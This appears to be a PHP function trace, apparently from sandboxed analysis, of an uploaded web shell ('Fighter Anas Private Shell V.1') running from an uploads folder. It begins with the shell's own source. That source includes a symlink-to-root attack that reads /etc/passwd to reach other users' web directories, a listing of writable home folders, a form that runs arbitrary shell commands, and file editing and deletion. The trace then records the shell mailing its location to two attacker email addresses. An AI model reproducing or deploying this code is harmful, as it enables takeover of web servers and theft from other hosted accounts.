"</font></td>\n<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>\n<td>".$user[\'name\']."</td>\n<td><a href=\'$full/fighter_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";\nflush();\n$dcount++;}}}\necho "</table>";\n}else{\n$TEST=@file(\'/etc/passwd\');\nif ($TEST){\n@mkdir("fighter_sym",0777);\n@chdir("fighter_sym");\nexe("ln -s / root");\n$file3 = \'Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\';\n $fp3 = fopen(\'.htaccess\',\'w\');\n $fw3 = fwrite($fp3,$file3);\n @fclose($fp3);\n echo "\n <table align=center border=1><tr>\n <td align=center><font size=3>S. No.</font></td>\n <td align=center><font size=3>Users</font></td>\n <td align=center><font size=3>Symlink</font></td></tr>";\n $dcount = 1;\n $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");\n while(!feof($file)){\n $s = fgets($file);\n $matches = array();\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);\n $matches = str_replace("home/","",$matches[1]);\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\n continue;\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\n <td align=center><font class=txt>" . $matches . "</td>";\n echo "<td align=center><font class=txt><a href=$full/fighter_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\n $dcount++;}fclose($file);\n echo "</table>";}else{if($os != "Windows"){@mkdir("fighter_sym",0777);@chdir("fighter_sym");@exe("ln -s / root");$file3 = \'\n Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\n\';\n $fp3 = fopen(\'.htaccess\',\'w\');\n $fw3 = fwrite($fp3,$file3);@fclose($fp3);\n echo "\n <div class=\'mybox\'><h2 class=\'k2ll33d2\'>server symlinker</h2>\n <table align=center border=1><tr>\n <td align=center><font size=3>ID</font></td>\n <td align=center><font size=3>Users</font></td>\n <td align=center><font size=3>Symlink</font></td></tr>";\n $temp = "";$val1 = 0;$val2 = 1000;\n for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);\n if ($uid)$temp .= join(\':\',$uid)."\\n";}\n echo \'<br/>\';$temp = trim($temp);$file5 =\n fopen("test.txt","w");\n fputs($file5,$temp);\n fclose($file5);$dcount = 1;$file =\n fopen("test.txt", "r") or exit("Unable to open file!");\n while(!feof($file)){$s = fgets($file);$matches = array();\n $t = preg_match(\'/\\/(.*?)\\:\\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);\n if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")\n continue;\n echo "<tr><td align=center><font size=2>" . $dcount . "</td>\n <td align=center><font class=txt>" . $matches . "</td>";\n echo "<td align=center><font class=txt><a href=$full/fighter_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";\n $dcount++;}\n fclose($file);\n echo "</table></div></center>";unlink("test.txt");\n } else\n echo "<center><font size=3>Can not create Symlink</font></center>";\n }\n }\n\n##JUMPING \n} elseif($_GET[\'a\'] == \'jumping\') {\n    $i = 0;\n    echo "<pre><div class=\'margin: 5px auto;\'>";\n    $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\n    while($passwd = fgets($etc)) {\nif($passwd == \'\' || !$etc) {\n    echo "<font color=red>Can\'t read /etc/passwd</font>";\n} else {\n    preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\n    foreach($user_jumping[1] as $user_idx_jump) {\n        $user_jumping_dir = "/home/$user_idx_jump/public_html";\n        if(is_readable($user_jumping_dir)) {\n            $i++;\n            $jrw = "[<font color=#5ddcfc>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";\n            if(is_writable($user_jumping_dir)) {\n                $jrw = "[<font color=#5ddcfc>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=#5ddcfc>$user_jumping_dir</font></a>";\n            }\n            echo $jrw;\n            if(function_exists(\'posix_getpwuid\')) {\n                $domain_jump = file_get_contents("/etc/named.conf");   \n                if($domain_jump == \'\') {\n                    echo " => ( <font color=red>gagal mengambil nama domain nya</font> )<br>";\n                } else {\n                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\n                    foreach($domains_jump[1] as $dj) {\n                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\n                        $user_jumping_url = $user_jumping_url[\'name\'];\n                        if($user_jumping_url == $user_idx_jump) {\n                            echo " => ( <u>$dj</u> )<br>";\n                            break;\n                        }\n                    }\n                }\n            } else {\n                echo "<br>";\n            }\n        }\n    }\n}\n    }\n    if($i == 0) {\n    } else {\necho "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER[\'HTTP_HOST\'])."";\n    \n    echo "</div></pre>";\n        }\n\n    \n\n\n//CONFIG\n\n} elseif($_GET[\'a\'] == \'cmd\') {\n    echo "<form method=\'post\'>\n    <font style=\'text-decoration: underline;\'>".$user."@".$ip.": ~ $ </font>\n    <input type=\'text\' size=\'30\' height=\'10\' name=\'cmd\'><input type=\'submit\' name=\'do_cmd\' value=\'>>\'>\n    </form>";\n    if($_POST[\'do_cmd\']) {\n        echo "<pre>".exe($_POST[\'cmd\'])."</pre>";\n    }\n\n//START\n} elseif(isset($_GET[\'filesrc\'])){\necho "<tr><td>Current File : ";\necho $_GET[\'filesrc\'];\necho \'</tr></td></table><br />\';\necho(\' <center><textarea style="width:80%;height:50%;" readonly> \'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</textarea></center>\');\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\necho \'</table><br />\'.$_POST[\'path\'].\'<br /><br />\';\nif($_POST[\'opt\'] == \'chmod\'){\nif(isset($_POST[\'perm\'])){\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\necho \'<font color="yellow">  Permission Okk</font><br />\';\n}else{\necho \'<font color="RED"> Permission error</font><br />\';\n}\n}\necho \'<form method="POST">\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\n<input type="hidden" name="opt" value="chmod">\n<input type="submit" value="Chmod" />\n</form>\';\n}elseif($_POST[\'opt\'] == \'rename\'){\nif(isset($_POST[\'newname\'])){\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="RED">error </font><br />\';\n}\n$_POST[\'name\'] = $_POST[\'newname\'];\n}\necho \'<form method="POST">\nNama Baru : <input name="newname" type="text" size="30" value="\'.$_POST[\'name\'].\'" />\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\n<input type="hidden" name="opt" value="rename">\n<input type="submit" value="Ubah Nama" />\n</form>\';\n}elseif($_POST[\'opt\'] == \'edit\'){\nif(isset($_POST[\'src\'])){\n$fp = fopen($_POST[\'path\'],\'w\');\nif(fwrite($fp,$_POST[\'src\'])){\necho \'<font color="yellow">Edit File Done</font><br />\';\n}else{\necho \'<font color="RED">Edit File Error</font><br />\';\n}\nfclose($fp);\n}\necho \'<form method="POST">\n<textarea cols=140 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\n<input type="hidden" name="opt" value="edit">\n<input type="submit" value="Edit File" />\n</form>\';\n}\necho \'</center>\';\n}else{\necho \'</table><br /><center>\';\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\nif($_POST[\'type\'] == \'dir\'){\nif(rmdir($_POST[\'path\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="red"> Error</font><br />\';\n}\n}elseif($_POST[\'type\'] == \'file\'){\nif(unlink($_POST[\'path\'])){\necho \'<font color="yellow">Done</font><br />\';\n}else{\necho \'<font color="#red"> Error</font><br />\';\n}\n}\n}\n        \necho \'</center>\';\n$scandir = scandir($path);\necho \'<div id="content"><table width="700px" border="0" cellpadding="4" cellspacing="1" align="center">\n<tr class="first">\n<b><td><center><font color=black size=3>Name</font></center></td></b>\n<b><td><center><font color=black size=3>Size</font></center></td></b>\n<b><td><center><font color=black size=3>Permissions</font></center></td></b>\n<b><td><center><font color=black size=3>Options</font></center></td></b>\n</tr>\';\n\nforeach($scandir as $dir){\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\necho "<td class=\'td_home\'><img src=\'data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=\'>\n<a href=\\"?path=$path/$dir\\"><font color=red>$dir</font></a></td>\n<td><center><font color=red>Directory</font></center></td>\n<td><center>";\n    \nif(is_writable("$path/$dir")) echo \'<font color="yellow">\';\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\necho perms("$path/$dir");\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\n\necho "</center></td>\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\n<select name=\\"opt\\">\n<option value=\\"Select\\">Select</option>\n<option value=\\"delete\\">Delete</option>\n<option value=\\"chmod\\">Chmod</option>\n<option value=\\"rename\\">Rename</option>\n</select>\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\n<input type=\\"submit\\" value=\\">\\" />\n</form></center></td>\n</tr>";\n}\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\nforeach($scandir as $file){\nif(!is_file("$path/$file")) continue;\n$size = filesize("$path/$file")/1024;\n$size = round($size,3);\nif($size >= 1024){\n$size = round($size/1024,2).\' MB\';\n}else{\n$size = $size.\' KB\';\n}\n\necho "<tr>\n<td><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\'>\n<a href=\\"?filesrc=$path/$file&path=$path\\"><font color=red>$file</font></a></td>\n<td><center><font color=Red>".$size."</font></center></td>\n<td><center>";\nif(is_writable("$path/$file")) echo \'<font color=yellow>\';\nelseif(!is_readable("$path/$file")) echo \'<font color=red>\';\necho perms("$path/$file");\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\necho "</center></td>\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\n<select name=\\"opt\\">\n<option value=\\"Select\\">Select</option>\n<option value=\\"delete\\">Delete</option>\n<option value=\\"chmod\\">Chmod</option>\n<option value=\\"rename\\">Rename</option>\n<option value=\\"edit\\">Edit</option>\n</select>\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\n<input type=\\"submit\\" value=\\">\\" />\n</form></center></td>\n</tr>";\n}\necho \'</table>\n</div>\';\n}\necho \'<br />\n<center>\n<font size=3 ; color=white>Fighter Anas Private Shell V.1 - <font size=3 ; color=red>Royal<font size=3 ; color=white>Battler BD<br><font size=4 ; color=white>Copyright &copy; Fighter Anas</font></br>\n\n</body>\n</html>\';\nfunction perms($file){\n$perms = fileperms($file);\n\nif (($perms & 0xC000) == 0xC000) {\n// Socket\n$info = \'s\';\n} elseif (($perms & 0xA000) == 0xA000) {\n// Symbolic Link\n$info = \'l\';\n} elseif (($perms & 0x8000) == 0x8000) {\n// Regular\n$info = \'-\';\n} elseif (($perms & 0x6000) == 0x6000) {\n// Block special\n$info = \'b\';\n} elseif (($perms & 0x4000) == 0x4000) {\n// Directory\n$info = \'d\';\n} elseif (($perms & 0x2000) == 0x2000) {\n// Character special\n$info = \'c\';\n} elseif (($perms & 0x1000) == 0x1000) {\n// FIFO pipe\n$info = \'p\';\n} else {\n// Unknown\n$info = \'u\';\n}\n\n// Owner\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\n$info .= (($perms & 0x0040) ?\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\n(($perms & 0x0800) ? \'S\' : \'-\'));\n\n// Group\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\n$info .= (($perms & 0x0008) ?\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\n(($perms & 0x0400) ? \'S\' : \'-\'));\n\n// World\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\n$info .= (($perms & 0x0001) ?\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\n(($perms & 0x0200) ? \'T\' : \'-\'));\n\nreturn $info;\n}'	/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code	4	0
5	26	0	0.007685	967752	ini_set	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1	2	'output_buffering'	0
5	26	1	0.007705	967824
5	26	R			FALSE
5	27	0	0.007720	967752	ini_set	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	2	2	'display_errors'	0
5	27	1	0.007739	967824
5	27	R			''
5	28	0	0.007753	967752	set_time_limit	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	3	1	0
5	28	1	0.007770	967816
5	28	R			FALSE
5	29	0	0.007783	967784	ini_set	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	4	2	'memory_limit'	'64M'
5	29	1	0.007798	967888
5	29	R			'128M'
5	30	0	0.007811	967784	header	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	5	1	'Content-Type: text/html; charset=UTF-8'
5	30	1	0.007830	967960
5	30	R			NULL
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	6	$tujuanmail = 'serverphpshell@gmail.com'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	7	$tujuanmail1 = '13shell37@gmail.com'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	8	$x_path = 'http://localhost/uploads/RBBD.php'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	9	$pesan_alert = 'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]'
5	31	0	0.007899	968128	mail	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	10	4	'serverphpshell@gmail.com'	'LOGGER'	'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
5	31	1	0.008801	968272
5	31	R			FALSE
5	32	0	0.008832	968128	mail	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	11	4	'13shell37@gmail.com'	'LOGGER'	'fix http://localhost/uploads/RBBD.php :p *IP Address : [ 127.0.0.1 ]'	'[ 127.0.0.1 ]'
5	32	1	0.009678	968272
5	32	R			FALSE
5	33	0	0.009705	968088	set_time_limit	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	12	1	0
5	33	1	0.009724	968120
5	33	R			FALSE
5	34	0	0.009738	968088	error_reporting	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	13	1	0
5	34	1	0.009752	968128
5	34	R			22527
5	35	0	0.009765	968088	get_magic_quotes_gpc	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	24	0
5	35	1	0.009778	968088
5	35	R			FALSE
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	57	$nick = 'k0v3T'
5	36	0	0.009807	968088	getcwd	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	61	0
5	36	1	0.009821	968136
5	36	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	61	$path = '/var/www/html/uploads'
5	37	0	0.009848	968136	getenv	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	63	1	'SERVER_SOFTWARE'
5	37	1	0.009866	968216
5	37	R			'Apache/2.4.52 (Ubuntu)'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	63	$software = 'Apache/2.4.52 (Ubuntu)'
5	38	0	0.009893	968184	str_replace	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	64	3	'\\'	'/'	'/var/www/html/uploads'
5	38	1	0.009910	968280
5	38	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	64	$path = '/var/www/html/uploads'
5	39	0	0.009936	968184	explode	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	65	2	'/'	'/var/www/html/uploads'
5	39	1	0.009952	968760
5	39	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	65	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
5	40	0	0.009987	968688	function_exists	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	70	1	'posix_getegid'
5	40	1	0.010002	968728
5	40	R			TRUE
5	41	0	0.010016	968688	posix_geteuid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	76	0
5	41	1	0.010031	968688
5	41	R			33
5	42	0	0.010043	968688	posix_getpwuid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	76	1	33
5	42	1	0.010079	969520
5	42	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	76	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	43	0	0.010125	969488	posix_getegid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	77	0
5	43	1	0.010138	969488
5	43	R			33
5	44	0	0.010156	969488	posix_getgrgid	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	77	1	33
5	44	1	0.010185	970152
5	44	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	77	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	78	$user = 'www-data'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	79	$uid = 33
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	80	$group = 'www-data'
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	81	$gid = 33
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	87	$a = TRUE
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 1
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 2
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 3
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	85	$id = 4
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i = 0
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	93	$i++
5	45	0	0.010514	968768	scandir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1123	1	'/var/www/html/uploads'
5	45	1	0.010557	969392
5	45	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'RBBD.php', 4 => 'data', 5 => 'prepend.php']
4		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1123	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'RBBD.php', 4 => 'data', 5 => 'prepend.php']
5	46	0	0.010598	969408	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/.'
5	46	1	0.010617	969472
5	46	R			TRUE
5	47	0	0.010631	969440	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/..'
5	47	1	0.010646	969488
5	47	R			TRUE
5	48	0	0.010659	969448	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/.htaccess'
5	48	1	0.010676	969488
5	48	R			FALSE
5	49	0	0.010689	969448	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/RBBD.php'
5	49	1	0.010704	969488
5	49	R			FALSE
5	50	0	0.010716	969448	is_dir	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1133	1	'/var/www/html/uploads/data'
5	50	1	0.010732	969488
5	50	R			TRUE
5	51	0	0.010757	969416	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1139	1	'/var/www/html/uploads/data'
5	51	1	0.010775	969456
5	51	R			TRUE
5	52	0	0.010789	969416	perms	1		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1141	1	'/var/www/html/uploads/data'
6	53	0	0.010804	969416	fileperms	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	1	'/var/www/html/uploads/data'
6	53	1	0.010820	969456
6	53	R			16895
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1205	$perms = 16895
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1221	$info = 'd'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1234	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1235	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1238	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1241	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1242	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1245	$info .= 'x'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1248	$info .= 'r'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1249	$info .= 'w'
5		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1252	$info .= 'x'
5	52	1	0.010962	969456
5	52	R			'drwxrwxrwx'
5	54	0	0.010977	969416	is_writable	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code(4) : eval()'d code(4) : eval()'d code	1142	1	'/var/www/html/uploads/data'
5	54	1	0.010993	969456
5	54	R			TRUE
